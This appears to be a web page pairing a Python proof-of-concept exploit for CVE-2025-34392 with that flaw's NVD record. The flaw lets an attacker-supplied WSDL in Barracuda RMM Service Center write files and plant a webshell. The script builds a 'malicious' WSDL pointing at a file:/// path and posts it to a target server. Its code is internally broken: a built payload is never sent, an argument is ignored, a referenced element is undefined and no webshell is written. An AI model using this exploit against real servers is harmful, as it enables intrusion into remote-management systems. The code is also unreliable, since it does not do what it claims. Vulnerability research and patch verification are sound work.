CVE-2025-34392

#!/usr/bin/env python3 """ CVE-2025-34392 PoC - Barracuda RMM Service Center WSDL Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import xml.etree.ElementTree as ET from requests.auth import HTTPBasicAuth TARGET_URL = "https://target-server:8443/servicecenter" WSDL_ENDPOINT = f"{TARGET_URL}/services/ServiceCenter?wsdl" def create_malicious_wsdl(file_path, target_location): """Generate malicious WSDL with local file path reference""" wsdl_template = f'''<?xml version="1.0" encoding="UTF-8"?> <definitions name="MaliciousService" targetNamespace="http://malicious.example.com/" xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tns="http://malicious.example.com/"> <types> <xsd:schema targetNamespace="http://malicious.example.com/" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <xsd:element name="ExecuteCommand"> <xsd:complexType> <xsd:sequence> <xsd:element name="cmd" type="xsd:string"/> </xsd:sequence> </xsd:complexType> </xsd:element> </xsd:schema> </types> <service name="MaliciousService"> <port name="MaliciousPort" binding="tns:MaliciousBinding"> <soap:address location="{target_location}"/> </port> </service> <binding name="MaliciousBinding" type="tns:MaliciousPortType"> <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="Execute"> <soap:operation soapAction="execute"/> <input><soap:body use="literal"/></input> <output><soap:body use="literal"/></output> </operation> </binding> <portType name="MaliciousPortType"> <operation name="Execute"> <input message="tns:ExecuteInput"/> <output message="tns:ExecuteOutput"/> </operation> </portType> <message name="ExecuteInput"> <part name="parameters" element="tns:ExecuteCommand"/> </message> <message name="ExecuteOutput"> <part name="parameters" element="tns:ExecuteResponse"/> </message> </definitions>''' return wsdl_template def exploit(target_url, webshell_path): """Execute the exploit by sending malicious WSDL""" # Target location for file write (adjust based on target) target_location = f"file:///{webshell_path}" malicious_wsdl = create_malicious_wsdl(None, target_location) headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""' } # Payload to write webshell soap_payload = f'''<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ExecuteCommand> <cmd>whoami</cmd> </ExecuteCommand> </soap:Body> </soap:Envelope>''' print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious WSDL to trigger file write...") try: response = requests.post( WSDL_ENDPOINT, data=malicious_wsdl, headers=headers, verify=False, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[*] If successful, webshell may be written to: {webshell_path}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-34392 - Barracuda RMM Service Center Exploit") print("Usage: python exploit.py") # exploit()

{"cve": {"id": "CVE-2025-34392", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.153", "lastModified": "2025-12-23T14:40:40.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not verify the URL defined in an attacker-controlled WSDL that is later loaded by the application. This can lead to arbitrary file write and remote code execution via webshell upload."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.1.1", "matchCriteriaId": "C6E07E55-A5C9-4B12-8CC2-891D3F8F087D"}]}]}], "references": [{"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.barracuda.com/products/msp/network-protection/rmm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-absolute-path-traversal-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}